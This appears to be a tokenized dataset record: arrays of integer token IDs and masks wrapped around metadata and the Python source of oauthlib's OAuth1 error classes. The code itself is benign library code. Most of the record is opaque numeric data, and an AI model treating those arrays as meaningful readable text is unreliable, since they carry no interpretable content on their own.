13, 12941, 339, 1402, 63, 1210, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 9, 272, 10702, 275, 980, 14, 4250, 1332, 17, 12, 1616, 430, 272, 327, 1104, 626, 781, 5139, 2449, 737, 8836, 340, 314, 11751, 4898, 5809, 272, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 543, 291, 14, 1855, 8, 2550, 63, 5472, 14, 32116, 304, 267, 4043, 14, 1065, 8, 1144, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 12, 359, 20, 2522, 469, 1238, 63, 1210, 26, 10702, 1552, 339, 327, 511, 626, 781, 883, 986, 282, 6917, 5878, 465, 1967, 63, 16508, 272, 367, 3114, 315, 359, 16, 12, 446, 18, 2189, 489, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 267, 754, 275, 4043, 14, 1065, 8, 288, 1625, 63, 1483, 14, 1294, 8, 355, 1625, 63, 1483, 14, 4548, 779, 20, 12, 841, 2522, 355, 1967, 63, 269, 63, 890, 63, 16508, 29, 1144, 63, 1483, 14, 4548, 779, 18, 12, 499, 6575, 362, 63, 1392, 3430, 17, 467, 355, 3114, 29, 3127, 430, 2541, 291, 14, 629, 8, 1099, 59, 16, 1055, 1392, 12, 334, 18, 12, 841, 430, 489, 291, 14, 629, 8, 1099, 59, 17, 1055, 1392, 12, 334, 18, 12, 841, 430, 339, 327, 511, 626, 7179, 3715, 7365, 5706, 12, 2755, 340, 781, 2793, 1133, 5715, 4212, 272, 327, 314, 3715, 63, 3572, 911, 506, 3715, 12, 1325, 781, 886, 5715, 314, 3114, 272, 754, 275, 1625, 63, 1483, 14, 1294, 8, 267, 1625, 63, 1483, 14, 4548, 779, 21, 12, 499, 2522, 1625, 63, 1483, 14, 4083, 779, 18, 12, 413, 12, 499, 566, 627, 413, 12, 3114, 29, 16, 9, 339, 291, 14, 629, 8, 1099, 59, 16, 1055, 1392, 59, 17, 467, 499, 9, 272, 291, 14, 629, 8, 1099, 59, 17, 1055, 1392, 59, 17, 467, 499, 9, 272, 291, 14, 629, 8, 1099, 59, 18, 1055, 1392, 59, 17, 467, 499, 9, 339, 1402, 63, 1210, 18, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 12, 2215, 1524, 403, 12, 499, 566, 272, 754, 275, 1625, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 18, 12, 359, 18, 12, 499, 467, 3114, 29, 16, 2788, 16, 61, 339, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 4043, 14, 1065, 8, 1099, 12, 4733, 63, 807, 3126, 1238, 63, 1210, 18, 26, 980, 14, 4548, 779, 20, 12, 499, 566, 1552, 819, 347, 511, 26090, 5667, 8, 277, 304, 272, 1568, 63, 16508, 275, 1625, 63, 1483, 14, 6199, 8, 2271, 29, 5717, 14, 442, 708, 12, 2215, 1524, 403, 566, 339, 574, 275, 359, 17, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 12, 1520, 12, 1695, 12, 1749, 12, 1616, 61, 339, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 543, 291, 14, 1855, 8, 3393, 9, 465, 1067, 26, 267, 4043, 14, 1065, 8, 1144, 63, 1483, 14, 1294, 8, 585, 12, 1568, 63, 16508, 395, 469, 890, 63, 16508, 26, 359, 18, 12, 499, 12, 1227, 13412, 2541, 291, 14, 1815, 480, 6612, 18538, 1967, 687, 2215, 2, 315, 620, 8, 1100, 14, 1971, 430, 2541, 754, 275, 4043, 14, 1065, 8, 1144, 63, 1483, 14 ]
[ 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 3481, 279, 2295, 367, 11740, 9319, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 63, 2864, 63, 36, 7893, 275, 334, 5717, 14, 1609, 708, 12, 6674, 14, 1609, 772, 12, 6674, 14, 5254, 772, 12, 355, 6674, 14, 5254, 3933, 9, 421, 199, 533, 11740, 4619, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 1875, 1451, 8, 277, 12, 2215, 12, 2152, 304, 272, 666, 275, 980, 14, 2355, 14, 3759, 2031, 1392, 680, 6041, 8, 2271, 14, 305, 63, 4714, 63, 2271, 9, 272, 340, 2152, 14, 374, 63, 5254, 26, 489, 666, 4862, 413, 74, 627, 666, 272, 372, 666, 819, 347, 511, 7238, 29731, 8, 277, 304, 272, 1402, 63, 1210, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 12, 2215, 2687, 17, 12, 1616, 430, 339, 327, 1104, 626, 781, 2449, 5309, 2955, 2215, 17353, 340, 10627, 787, 6040, 272, 543, 291, 14, 1855, 8, 3393, 304, 489, 327, 4287, 26, 3507, 29, 5599, 13, 1397, 13, 12941, 489, 1625, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 12, 359, 20, 467, 3114, 29, 17, 2788, 16, 61, 489, 327, 4287, 26, 4756, 29, 5599, 13, 1397, 13, 12941, 339, 1402, 63, 1210, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 9, 272, 10702, 275, 980, 14, 4250, 1332, 17, 12, 1616, 430, 272, 327, 1104, 626, 781, 5139, 2449, 737, 8836, 340, 314, 11751, 4898, 5809, 272, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 543, 291, 14, 1855, 8, 2550, 63, 5472, 14, 32116, 304, 267, 4043, 14, 1065, 8, 1144, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 12, 359, 20, 2522, 469, 1238, 63, 1210, 26, 10702, 1552, 339, 327, 511, 626, 781, 883, 986, 282, 6917, 5878, 465, 1967, 63, 16508, 272, 367, 3114, 315, 359, 16, 12, 446, 18, 2189, 489, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 267, 754, 275, 4043, 14, 1065, 8, 288, 1625, 63, 1483, 14, 1294, 8, 355, 1625, 63, 1483, 14, 4548, 779, 20, 12, 841, 2522, 355, 1967, 63, 269, 63, 890, 63, 16508, 29, 1144, 63, 1483, 14, 4548, 779, 18, 12, 499, 6575, 362, 63, 1392, 3430, 17, 467, 355, 3114, 29, 3127, 430, 2541, 291, 14, 629, 8, 1099, 59, 16, 1055, 1392, 12, 334, 18, 12, 841, 430, 489, 291, 14, 629, 8, 1099, 59, 17, 1055, 1392, 12, 334, 18, 12, 841, 430, 339, 327, 511, 626, 7179, 3715, 7365, 5706, 12, 2755, 340, 781, 2793, 1133, 5715, 4212, 272, 327, 314, 3715, 63, 3572, 911, 506, 3715, 12, 1325, 781, 886, 5715, 314, 3114, 272, 754, 275, 1625, 63, 1483, 14, 1294, 8, 267, 1625, 63, 1483, 14, 4548, 779, 21, 12, 499, 2522, 1625, 63, 1483, 14, 4083, 779, 18, 12, 413, 12, 499, 566, 627, 413, 12, 3114, 29, 16, 9, 339, 291, 14, 629, 8, 1099, 59, 16, 1055, 1392, 59, 17, 467, 499, 9, 272, 291, 14, 629, 8, 1099, 59, 17, 1055, 1392, 59, 17, 467, 499, 9, 272, 291, 14, 629, 8, 1099, 59, 18, 1055, 1392, 59, 17, 467, 499, 9, 339, 1402, 63, 1210, 18, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 12, 2215, 1524, 403, 12, 499, 566, 272, 754, 275, 1625, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 18, 12, 359, 18, 12, 499, 467, 3114, 29, 16, 2788, 16, 61, 339, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 4043, 14, 1065, 8, 1099, 12, 4733, 63, 807, 3126, 1238, 63, 1210, 18, 26, 980, 14, 4548, 779, 20, 12, 499, 566, 1552, 819, 347, 511, 26090, 5667, 8, 277, 304, 272, 1568, 63, 16508, 275, 1625, 63, 1483, 14, 6199, 8, 2271, 29, 5717, 14, 442, 708, 12, 2215, 1524, 403, 566, 339, 574, 275, 359, 17, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 12, 1520, 12, 1695, 12, 1749, 12, 1616, 61, 339, 543, 291, 14, 396, 63, 1730, 8, 1180, 63, 6477, 29, 549, 9, 465, 4043, 26, 489, 543, 291, 14, 1855, 8, 3393, 9, 465, 1067, 26, 267, 4043, 14, 1065, 8, 1144, 63, 1483, 14, 1294, 8, 585, 12, 1568, 63, 16508, 395, 469, 890, 63, 16508, 26, 359, 18, 12, 499, 12, 1227, 13412, 2541, 291, 14, 1815, 480, 6612, 18538, 1967, 687, 2215, 2, 315, 620, 8, 1100, 14, 1971, 430, 2541, 754, 275, 4043, 14, 1065, 8, 1144, 63, 1483, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sharkykh/SickRage
lib/oauthlib/oauth1/rfc5849/errors.py
87
2543
# coding=utf-8 """ oauthlib.oauth1.rfc5849.errors ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Error used both by OAuth 1 clients and provicers to represent the spec defined error responses for all four core grant types. """ from __future__ import unicode_literals from oauthlib.common import urlencode, add_params_to_uri class OAuth1Error(Exception): error = None description = '' def __init__(self, description=None, uri=None, status_code=400, request=None): """ description: A human-readable ASCII [USASCII] text providing additional information, used to assist the client developer in understanding the error that occurred. Values for the "error_description" parameter MUST NOT include characters outside the set x20-21 / x23-5B / x5D-7E. uri: A URI identifying a human-readable web page with information about the error, used to provide the client developer with additional information about the error. Values for the "error_uri" parameter MUST conform to the URI- Reference syntax, and thus MUST NOT include characters outside the set x21 / x23-5B / x5D-7E. state: A CSRF protection value received from the client. request: Oauthlib Request object """ self.description = description or self.description message = '(%s) %s' % (self.error, self.description) if request: message += ' ' + repr(request) super(OAuth1Error, self).__init__(message) self.uri = uri self.status_code = status_code def in_uri(self, uri): return add_params_to_uri(uri, self.twotuples) @property def twotuples(self): error = [('error', self.error)] if self.description: error.append(('error_description', self.description)) if self.uri: error.append(('error_uri', self.uri)) return error @property def urlencoded(self): return urlencode(self.twotuples) class InsecureTransportError(OAuth1Error): error = 'insecure_transport_protocol' description = 'Only HTTPS connections are permitted.' class InvalidSignatureMethodError(OAuth1Error): error = 'invalid_signature_method' class InvalidRequestError(OAuth1Error): error = 'invalid_request' class InvalidClientError(OAuth1Error): error = 'invalid_client'
gpl-3.0
[ 3, 2803, 29, 1624, 13, 24, 199, 624, 199, 6126, 773, 14, 6126, 17, 14, 8973, 12248, 25, 14, 2550, 199, 9753, 22935, 23597, 199, 199, 547, 1202, 3865, 701, 11715, 413, 13431, 436, 1727, 67, 1192, 370, 2954, 314, 3158, 199, 4037, 1125, 9320, 367, 1006, 11648, 6170, 16085, 2943, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 9725, 773, 14, 2330, 492, 16511, 12, 1050, 63, 1162, 63, 475, 63, 2302, 421, 199, 533, 11715, 17, 547, 8, 1726, 304, 272, 1125, 275, 488, 272, 1369, 275, 2125, 339, 347, 636, 826, 721, 277, 12, 1369, 29, 403, 12, 5108, 29, 403, 12, 2004, 63, 600, 29, 5303, 12, 326, 1056, 29, 403, 304, 267, 408, 267, 1369, 26, 259, 437, 11779, 13, 11875, 10485, 359, 1668, 12292, 61, 1318, 13070, 717, 4722, 2556, 12, 1202, 370, 465, 11734, 314, 1890, 717, 15030, 315, 1334, 18126, 314, 1125, 626, 8920, 14, 717, 13468, 367, 314, 298, 705, 63, 1802, 2, 2725, 18095, 2845, 717, 2387, 4110, 9682, 314, 663, 717, 671, 1165, 13, 2025, 1182, 671, 1789, 13, 21, 34, 1182, 671, 21, 36, 13, 23, 37, 14, 398, 5108, 26, 259, 437, 9022, 21119, 282, 11779, 13, 11875, 3330, 2034, 543, 2556, 355, 3595, 314, 1125, 12, 1202, 370, 5647, 314, 1890, 15030, 543, 355, 4722, 2556, 3595, 314, 1125, 14, 221, 13468, 367, 314, 355, 298, 705, 63, 2302, 2, 2725, 18095, 26449, 370, 314, 9022, 13, 10944, 355, 6302, 12, 436, 12850, 18095, 2845, 2387, 4110, 9682, 314, 663, 355, 671, 2025, 1182, 671, 1789, 13, 21, 34, 1182, 671, 21, 36, 13, 23, 37, 14, 398, 1174, 26, 221, 437, 22468, 23977, 574, 3086, 687, 314, 1890, 14, 398, 1056, 26, 221, 593, 1178, 773, 4784, 909, 267, 408, 267, 291, 14, 1802, 275, 1369, 503, 291, 14, 1802, 267, 1245, 275, 25676, 83, 9, 450, 83, 7, 450, 334, 277, 14, 705, 12, 291, 14, 1802, 9, 267, 340, 1056, 26, 288, 1245, 847, 283, 283, 435, 4700, 8, 1069, 9, 267, 1613, 8, 12906, 17, 547, 12, 291, 2843, 826, 721, 1188, 9, 398, 291, 14, 2302, 275, 5108, 267, 291, 14, 1205, 63, 600, 275, 2004, 63, 600, 339, 347, 315, 63, 2302, 8, 277, 12, 5108, 304, 267, 372, 1050, 63, 1162, 63, 475, 63, 2302, 8, 2302, 12, 291, 14, 8122, 357, 1363, 83, 9, 339, 768, 1829, 272, 347, 8900, 357, 1363, 83, 8, 277, 304, 267, 1125, 275, 4274, 705, 297, 291, 14, 705, 1874, 267, 340, 291, 14, 1802, 26, 288, 1125, 14, 740, 4725, 705, 63, 1802, 297, 291, 14, 1802, 430, 267, 340, 291, 14, 2302, 26, 288, 1125, 14, 740, 4725, 705, 63, 2302, 297, 291, 14, 2302, 430, 267, 372, 1125, 339, 768, 1829, 272, 347, 16511, 68, 8, 277, 304, 267, 372, 16511, 8, 277, 14, 8122, 357, 1363, 83, 9, 421, 199, 533, 1010, 7817, 7836, 547, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 24824, 63, 5545, 63, 3922, 7, 272, 1369, 275, 283, 5903, 14147, 6947, 787, 8211, 3530, 421, 199, 533, 6378, 10014, 3767, 547, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 5233, 63, 765, 7, 421, 199, 533, 6378, 19261, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 1069, 7, 421, 199, 533, 6378, 19992, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 1258, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 29, 1624, 13, 24, 199, 624, 199, 6126, 773, 14, 6126, 17, 14, 8973, 12248, 25, 14, 2550, 199, 9753, 22935, 23597, 199, 199, 547, 1202, 3865, 701, 11715, 413, 13431, 436, 1727, 67, 1192, 370, 2954, 314, 3158, 199, 4037, 1125, 9320, 367, 1006, 11648, 6170, 16085, 2943, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 9725, 773, 14, 2330, 492, 16511, 12, 1050, 63, 1162, 63, 475, 63, 2302, 421, 199, 533, 11715, 17, 547, 8, 1726, 304, 272, 1125, 275, 488, 272, 1369, 275, 2125, 339, 347, 636, 826, 721, 277, 12, 1369, 29, 403, 12, 5108, 29, 403, 12, 2004, 63, 600, 29, 5303, 12, 326, 1056, 29, 403, 304, 267, 408, 267, 1369, 26, 259, 437, 11779, 13, 11875, 10485, 359, 1668, 12292, 61, 1318, 13070, 717, 4722, 2556, 12, 1202, 370, 465, 11734, 314, 1890, 717, 15030, 315, 1334, 18126, 314, 1125, 626, 8920, 14, 717, 13468, 367, 314, 298, 705, 63, 1802, 2, 2725, 18095, 2845, 717, 2387, 4110, 9682, 314, 663, 717, 671, 1165, 13, 2025, 1182, 671, 1789, 13, 21, 34, 1182, 671, 21, 36, 13, 23, 37, 14, 398, 5108, 26, 259, 437, 9022, 21119, 282, 11779, 13, 11875, 3330, 2034, 543, 2556, 355, 3595, 314, 1125, 12, 1202, 370, 5647, 314, 1890, 15030, 543, 355, 4722, 2556, 3595, 314, 1125, 14, 221, 13468, 367, 314, 355, 298, 705, 63, 2302, 2, 2725, 18095, 26449, 370, 314, 9022, 13, 10944, 355, 6302, 12, 436, 12850, 18095, 2845, 2387, 4110, 9682, 314, 663, 355, 671, 2025, 1182, 671, 1789, 13, 21, 34, 1182, 671, 21, 36, 13, 23, 37, 14, 398, 1174, 26, 221, 437, 22468, 23977, 574, 3086, 687, 314, 1890, 14, 398, 1056, 26, 221, 593, 1178, 773, 4784, 909, 267, 408, 267, 291, 14, 1802, 275, 1369, 503, 291, 14, 1802, 267, 1245, 275, 25676, 83, 9, 450, 83, 7, 450, 334, 277, 14, 705, 12, 291, 14, 1802, 9, 267, 340, 1056, 26, 288, 1245, 847, 283, 283, 435, 4700, 8, 1069, 9, 267, 1613, 8, 12906, 17, 547, 12, 291, 2843, 826, 721, 1188, 9, 398, 291, 14, 2302, 275, 5108, 267, 291, 14, 1205, 63, 600, 275, 2004, 63, 600, 339, 347, 315, 63, 2302, 8, 277, 12, 5108, 304, 267, 372, 1050, 63, 1162, 63, 475, 63, 2302, 8, 2302, 12, 291, 14, 8122, 357, 1363, 83, 9, 339, 768, 1829, 272, 347, 8900, 357, 1363, 83, 8, 277, 304, 267, 1125, 275, 4274, 705, 297, 291, 14, 705, 1874, 267, 340, 291, 14, 1802, 26, 288, 1125, 14, 740, 4725, 705, 63, 1802, 297, 291, 14, 1802, 430, 267, 340, 291, 14, 2302, 26, 288, 1125, 14, 740, 4725, 705, 63, 2302, 297, 291, 14, 2302, 430, 267, 372, 1125, 339, 768, 1829, 272, 347, 16511, 68, 8, 277, 304, 267, 372, 16511, 8, 277, 14, 8122, 357, 1363, 83, 9, 421, 199, 533, 1010, 7817, 7836, 547, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 24824, 63, 5545, 63, 3922, 7, 272, 1369, 275, 283, 5903, 14147, 6947, 787, 8211, 3530, 421, 199, 533, 6378, 10014, 3767, 547, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 5233, 63, 765, 7, 421, 199, 533, 6378, 19261, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 1069, 7, 421, 199, 533, 6378, 19992, 8, 12906, 17, 547, 304, 272, 1125, 275, 283, 3197, 63, 1258, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
